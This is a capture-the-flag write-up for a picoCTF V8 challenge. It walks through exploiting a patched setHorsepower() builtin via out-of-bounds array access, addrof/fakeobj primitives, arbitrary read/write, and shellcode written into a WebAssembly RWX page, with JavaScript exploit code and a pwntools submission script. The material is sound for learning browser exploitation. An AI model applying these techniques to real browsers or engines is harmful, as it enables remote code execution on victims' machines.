Description
A patched V8 JavaScript engine (d8) ships with a custom builtin called setHorsepower() that lets you set a JSArray's internal length field to any value. Because V8 skips bounds checks when reading and writing array elements, this gives you out-of-bounds access to the V8 heap - the first step toward arbitrary read, arbitrary write, and shellcode execution.
Setup
Download the challenge files (patched d8, server.py, diff patch) from the challenge page.
Install the matching d8 binary locally with the provided download_d8.sh script so you can develop and test the exploit offline before sending it to the remote server.
The server accepts your JavaScript exploit file over the network: send the byte length of the file first (as a newline-terminated string), then the raw file content. The server runs it under d8 and streams stdout back to you. Use pwntools to automate this.
bash download_d8.sh# Test your exploit file locally before connecting remotely:./d8 exploit.jsSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
This is a V8 browser-exploitation challenge. The patch adds a single unsafe builtin; the standard browser-pwn chain then applies: OOB access to the heap, addrof/fakeobj primitives, arbitrary read/write, WASM RWX page, shellcode. Every step below is pure JavaScript - no native binary involved.
Step 1
Understand the patch: setHorsepower() sets array length uncheckedObservationI noticed the challenge ships a diff patch alongside the modified d8 binary, which suggested that the vulnerability is entirely defined by that patch, and reading it first would reveal exactly what bounds check was removed to enable the out-of-bounds access.The V8 diff adds a method to every JSArray that calls SetLength(h) directly on the backing FixedDoubleArray without validating that h is within the allocated capacity. Setting length to a large value such as 0x100 makes V8 believe the array is 256 elements long when it may only hold a handful, so array[i] for large i reads or writes memory adjacent to the array on the V8 heap.Learn more
How V8 stores arrays. A JavaScript array of floating-point numbers is backed by a
FixedDoubleArrayobject on the V8 heap. The object header contains a map pointer (4 bytes compressed), a length field (4 bytes Smi), and then the raw double elements. By inflating the length, the engine happily lets JavaScript read and write beyond the last real element -- into whatever object happens to sit next on the heap.Pointer compression. Modern V8 (version 8+) compresses heap pointers to 32 bits by storing only the lower half; the upper half (the cage base) is always the same for one process and lives in the
r13register. Exploit code therefore works with 32-bit compressed values and reconstructs full 64-bit addresses only when needed.// Helpers that convert between JavaScript float64 and BigInt, // needed because V8 exposes heap words as doubles. const buf = new ArrayBuffer(8); const f64 = new Float64Array(buf); const u32 = new Uint32Array(buf); function ftoi(f) { f64[0] = f; return (BigInt(u32[1]) << 32n) | BigInt(u32[0]); } function itof(i) { u32[0] = Number(i & 0xffff_ffffn); u32[1] = Number(i >> 32n); return f64[0]; }Step 2
Build addrof and fakeobj primitives via OOB array accessObservationI noticed that setHorsepower() inflates a FixedDoubleArray's length beyond its capacity, which suggested placing a float array and an object array adjacently on the heap so the OOB reads expose the object array's internal elements pointer, enabling classic addrof and fakeobj primitives.Place two arrays adjacent in memory - a float FixedDoubleArray and an object array. Call setHorsepower() on the float array with a large length. Because V8 allocates them back-to-back on the heap, reading past the end of the float array lets you see (and write) the elements pointer of the object array. Reading that pointer gives you a compressed address of any object you put into the object array (addrof). Writing a fake pointer back lets you construct a JavaScript object at an arbitrary heap address (fakeobj).js// Create adjacent arrays so the float array's OOB range covers the object array's header. let farr = [1.1, 2.2, 3.3]; let oarr = [{}, {}]; farr.setHorsepower(0x100); // expand length -- now farr[i] reaches oarr's internals // addrof: store target in oarr, read its compressed pointer through farr function addrof(obj) { oarr[0] = obj; // offset 12 (or similar) found via %DebugPrint + GDB during development return ftoi(farr[12]) & 0xffff_ffffn; } // fakeobj: write a compressed address into farr so V8 treats that memory as an object function fakeobj(addr) { farr[12] = itof(addr); return oarr[0]; }What didn't work first
Tried: Hardcode offset 12 for the addrof index without verifying it against the local d8 binary.
The index that overlaps oarr's elements pointer depends on the exact allocation layout of the V8 version shipped with this challenge. Using an offset from a different CTF challenge or V8 build returns garbage float values instead of a valid compressed pointer. The correct approach is to run %DebugPrint on both arrays in the local d8 session, subtract their addresses, and divide by 8 to get the right index for this specific binary.
Tried: Call setHorsepower() on the object array oarr instead of the float array farr to get OOB access.
oarr holds tagged pointer values, not raw doubles, so V8 represents it as a FixedArray rather than a FixedDoubleArray. Reading OOB through a tagged array returns V8 Smi-encoded integers rather than raw 64-bit doubles, which breaks the ftoi/itof float-reinterpretation helpers. The exploit depends on farr being a FixedDoubleArray whose raw word contents can be reinterpreted as pointer-sized integers.
Learn more
Finding the offset. The exact index into
farrthat overlaps the elements pointer ofoarrdepends on the heap layout and V8 version. Use%DebugPrint(farr)and%DebugPrint(oarr)in a local d8 session (with--allow-natives-syntax) to read the addresses of both arrays, then compute the byte offset and divide by 8 to get the element index.Step 3
Implement arbitrary read and writeObservationI noticed that fakeobj lets us make V8 interpret an arbitrary heap address as a FixedDoubleArray, which suggested constructing a fake array whose elements pointer we fully control, giving us the aar/aaw primitives needed to reach any process address.Use fakeobj to create a JavaScript object that V8 believes is a FixedDoubleArray whose elements pointer you control. By pointing that fake array at any 64-bit address on the heap (or in the process) you can read and write arbitrary memory one 8-byte word at a time. A common pattern is to maintain two ArrayBuffers side by side: overwrite the backing-store pointer of one with your target address, then read or write through a DataView over that buffer.js// A crafted FixedDoubleArray map value you recover from a real array via addrof. // Placed just before the fake elements so V8 parses the region as a double array. let fake_arr_map = /* value from %DebugPrint */ 0n; // Build a container whose elements you can repoint. let container = [itof(fake_arr_map), itof(0x400000000n), 1.1, 2.2]; let fake = fakeobj(addrof(container) + 0x30n); // points into container's elements function aar(addr) { container[2] = itof((2n << 32n) | (addr - 8n)); // elements ptr = addr - 8 return ftoi(fake[0]); } function aaw(addr, val) { container[2] = itof((2n << 32n) | (addr - 8n)); fake[0] = itof(val); }What didn't work first
Tried: Skip the -8n offset when building the fake elements pointer, pointing container[2] directly at the target address.
V8's fake array read starts from the first element slot, which is offset +8 from the FixedDoubleArray header containing the length field. Without subtracting 8, index 0 of the fake array lands on the length field rather than the target word, reading the wrong 8 bytes and corrupting adjacent memory on writes. The -8n adjustment is required to align the read/write window to the intended address.
Tried: Use addrof on an ArrayBuffer directly and overwrite offset +0x20 to redirect the backing store without building the fake FixedDoubleArray first.
Without the arbitrary read primitive established via the fake array, you have no way to verify or compute the full 64-bit backing-store pointer of the ArrayBuffer. Writing a wrong offset corrupts the ArrayBuffer's internal fields rather than redirecting its data pointer, which causes a crash when DataView is used. The fake FixedDoubleArray (aar/aaw) must be established first to probe the correct field offset for the specific V8 version.
Learn more
Why subtract 8 from the address. V8 elements pointers point to the first element slot, but the length field sits 4 bytes before that. Offsetting by -8 aligns the fake read/write window so index 0 of the fake array lands exactly on your target address.
Step 4
Obtain an RWX page via WebAssembly and execute shellcodeObservationI noticed that V8 keeps WebAssembly JIT code in a read-write-execute page and stores its address at offset 0x68 in the WasmInstance object, which suggested using addrof and aar to recover that address and then overwriting it with shellcode via the arbitrary write primitive.Instantiating even a trivial WebAssembly module causes V8 to allocate a read-write-execute (RWX) memory page for the compiled JIT code. The address of this page is stored at a known offset (0x68) from the WasmInstance object. Use addrof to find the WasmInstance, use aar to read the RWX address, then use aaw through a DataView to overwrite that page byte-by-byte with shellcode that runs cat flag.txt. Calling the exported WASM function then jumps directly into your shellcode.js// Minimal WASM module that exports a callable function. const wasm_code = new Uint8Array([ 0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127, 3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0, 5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145, 128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97, 105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0, 65,42,11 ]); const wasm_mod = new WebAssembly.Module(wasm_code); const wasm_inst = new WebAssembly.Instance(wasm_mod); const main = wasm_inst.exports.main; // Step 1: find the WasmInstance object address. const inst_addr = addrof(wasm_inst); // Step 2: read the full 64-bit RWX page address from offset 0x68. // The upper 32 bits come from a Uint8Array root leak (process-wide cage base). const rwx_lo = aar(inst_addr + 0x68n); const rwx_hi = /* cage base from Uint8Array root */ 0n; const rwx_addr = (rwx_hi << 32n) | rwx_lo; // Step 3: redirect an ArrayBuffer's backing store to the RWX page. let ab = new ArrayBuffer(0x100); const ab_addr = addrof(ab); aaw(ab_addr + 0x20n, rwx_addr); // backing_store offset varies by V8 version // Step 4: write shellcode into the RWX page through a DataView. const shellcode = new Uint8Array([ // execve("/bin/cat", ["/bin/cat", "flag.txt", null], null) 0x48,0x31,0xf6,0x56,0x48,0xbf,0x2f,0x62,0x69,0x6e,0x2f, 0x63,0x61,0x74,0x57,0x48,0x89,0xe7,0x48,0xba,0x66,0x6c, 0x61,0x67,0x2e,0x74,0x78,0x74,0x52,0x57,0x48,0x31,0xd2, 0x48,0x31,0xc0,0xb0,0x3b,0x0f,0x05 ]); const dv = new DataView(ab); for (let i = 0; i < shellcode.length; i++) { dv.setUint8(i, shellcode[i]); } // Step 5: call the WASM export -- execution jumps to RWX page, shellcode runs. main();Expected output
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_...}The server captures stdout from d8 and returns it to you. The shellcode calls
execveto runcat flag.txt, and the server prints the flag back over the TCP connection.What didn't work first
Tried: Read the RWX page address at offset 0x68 from the WasmInstance using a hardcoded cage base of 0 rather than leaking it from the process.
V8 uses pointer compression, so the upper 32 bits of the RWX address come from the cage base, which is randomized per process by ASLR. Setting it to 0 produces a plausible-looking 64-bit address that is not actually mapped, and jumping to it crashes d8 with a SIGSEGV instead of executing shellcode. The cage base must be leaked at runtime - a common technique is reading the upper 32 bits from a Uint8Array's external pointer, which lives in the same compressed heap region.
Tried: Send the shellcode file to the server with nc rather than pwntools, piping the file content directly to the TCP connection.
The server.py protocol requires the byte length of the JavaScript file to be sent as a newline-terminated ASCII string before the file content. A raw nc pipe sends only the file bytes with no length prefix, so the server reads the first few bytes as the length string, parses garbage, and either hangs waiting for more data or closes the connection. Pwntools is needed to send the framed length header followed by the file content in the correct order.
Learn more
Submitting the exploit. Write your completed JavaScript to a file, then send it to the remote server via pwntools: connect, send
str(len(js)).encode() + b"\n", then send the raw bytes of the file. The server feeds it to d8 and sends stdout back.from pwn import * js = open("exploit.js", "rb").read() p = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>) p.sendline(str(len(js)).encode()) p.send(js) p.interactive()Why WASM gives you RWX. V8 compiles WASM bytecode to native machine code and stores it in an RWX page so the JIT can patch it without mapping it writable again. This is a well-known property of V8 that V8 exploitation challenges from 2019-2022 almost universally exploit: get shellcode into the RWX page, redirect execution there, game over.
Interactive tools
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
Flag
Reveal flag
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_...}
Browser exploitation chain: setHorsepower() OOB -> addrof/fakeobj -> arbitrary R/W -> WASM RWX shellcode.